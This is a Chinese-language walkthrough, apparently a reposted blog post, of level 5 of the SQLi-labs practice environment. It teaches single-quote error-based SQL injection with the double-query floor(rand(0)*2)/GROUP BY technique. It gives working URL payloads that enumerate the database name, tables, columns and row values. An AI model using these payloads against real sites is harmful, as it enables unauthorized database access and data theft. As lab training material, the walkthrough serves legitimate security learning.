less-5:注入点为单引号的报错注入
首先我们进入第五关:
我们输入参数?id=1进行测试:
可以发现页面回显和前几关完全不一样,并没有直接给我们输出某条信息,这个时候我们别慌,先找它的注入点是什么,老方法,我们输入测试语句:
?id=1' and '1'='1
页面回显如下:
可以看到页面回显正常。接着我们输入测试语句:
?id=1' and '1'='2
页面回显如下:
可以看到页面回显不正常,说明注入点大概率就是单引号,如果后续爆破语句爆破不出来的话就测试其他注入点即可。
接下来我们去猜解一下数据库中的字段数,输入语句:
?id=1' group by x --+
x是根据你自己的情况进行输入,至于如何猜解在本系列文章中的第一篇有详细讲解,这里不在赘述。经过最后猜解可得字段数为3。
接下来我们尝试去看一下这一关的显示位,输入语句:
?id=-1' union select 1,2,3 --+
页面回显如下:
可以看到页面并没有给我们反馈出任何一个显示位,那也就是说这一关不存在显示位,一般情况下没有显示位首选报错注入(经验),当然如果报错注入不可行也可以通关其他注入方式。
这里简单讲一下
什么是报错注入
报错注入是通过特殊函数的错误使用从而导致报错,并使其输出错误结果来获取信息的。简单点说,就是在注入点调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息 (我们要的信息就包含在页面的报错信息中)。
常见的报错注入
双查询报错注入、exp函数报错注入、Extractvalue函数报错注入、updatexml函数报错注入、join语句报错注入、GeometryCollection函数报错注入等,当然还有一些报错注入,因为不常用所以这里不在描述,这一关中我重点讲解双查询报错注入。
在进行双查询注入的时候我们要首先了解几个知识点:
什么是双查询注入
双查询是指两个查询语句的嵌套,也就是一个select语句中在去套一个select语句,然后利用group by 语句和floor函数的结合去报错,再将我们需要的信息显示到报错信息中。
双查询中用到的语句以及函数
函数名 函数解析或跳转链接group by 语句分组语句(SQL GROUP BY 语句 (w3school.com.cn))count函数统计函数(SQL COUNT() 函数 (w3school.com.cn))concat函数连接字符串函数(SQL CONCAT() 函数_w3cschool)floor函数向下取整函数(SQL Server FLOOR() 函数 (w3schools.cn))rand函数取随机数函数(SQL Server RAND() 函数 (w3schools.cn))limit语句限制返回行数(SQL Limit子句 - SQL教程 (yiibai.com))
爆破数据库名字
输入语句:
?id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
页面回显如下:
可以看到报错信息中把我们数据库的名字输出来了,这也证明了该关卡的注入点就是单引号,接下来我们就以爆破数据库名字为例子讲解一下报错原理。
双查询注入的报错原理
双查询注入实际上是通过group by 语句的报错,group by语句报错的原因是floor(rand()*2)的不确定性,可能为0也可能为1。
group by key的原理是循环读取数据的每一行,并将结果保存于一张临时表中。读取每一行的key时,如果key存在于临时表中,则不更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
我们接下来模拟一次group by 语句的执行:
1、当第一次将数据存储到临时表时,假设扫描到的是 0 ,此时临时表中不存在 0 ,所以需要将 0 插入到临时表中,但是在插入时会再执行一次floor(rand()*2)语句,这次执行结果值假设为 1,那么就会将 1插入到临时表中,然后 count 的值就 +1 变成了1,这时临时表中就存在 1 (因为第一次扫描时,执行第 1 次 floor(rand()*2) 得到的是 0, 但是在插入时再次执行第 2 次 floor(rand()*2) 得到的是 1 ,所以插入的就是 1,因为函数特性原因,rand函数会优先执行,所以每一次插入前都会再次执行rand函数一次 )。
2、那么进行第二次扫描,执行的第 3 次 floor(rand()*2) 值假设为 1,这时因为临时表中存在有 1 ,所以 1 的 count 值就再 +1 变成了 2。
3、那么到第三次扫描的时候,执行的就是第 4 次 floor(rand()*2) ,这时得到的值假设为0 ( 这时因为临时表中不存在 0 ,所以需要进行插入操作,那么就需要执行第 4 次 floor(rand()*2) ,这时得到的值假设为 1 ),这时就会出现问题,到底是插入 1 把 count 值变为 1 呢,还是将 1 的之前 count 值 +1 变为 3呢,到这里系统就会抛出异常报错了。
可以看到我描述的都是“假设”,这是因为rand()产生的随机数是一个不确定的序列,可能这次是0下次就是1,上述我描述的是会让语句一定报错的一种假设情况,当我们去执行语句的时候并不一定是这种情况,也就不一定每次都会报错,当然可以通过多次刷新页面来进行报错(总有那么一次是错的)。
为了方便,我们可以通过输入语句rand(0)来让其产生一个固定的序列011011(至于为啥是固定的我也不清楚,记住就可以),当我们输入这条语句之后,因为序列是固定的,所以执行语句的时候产生的数字也是固定的,也就会必定报错,我上方描述的假设情况就是按照这条特殊语句描述。所以语句就变成了floor(rand(0)*2)
爆破数据库表名
我们输入语句:
?id=-1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
0x7e代表‘~’, 是URL编码,之后我会详细出一些常用的URL编码转换表。
页面回显如下:
因为报错的显示有长度限制,所以这里最好使用limit语句限制输出长度 。
爆破列名
输入语句:
?id=-1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a --+
页面回显如下:
爆破字段值
输入语句:
?id=-1' union select 1,count(*),concat(0x7e,(select id from emails limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
页面回显如下:
总结
至此,第五关就通关了,当然还有很多方法通关,我这里只讲了双查询注入这一种方式获取数据,其余报错方式将在后续几关陆续讲解。
如有错误,希望及时私聊指正,谢谢观看!
版权归原作者 Joker—M 所有, 如有侵权,请联系我们删除。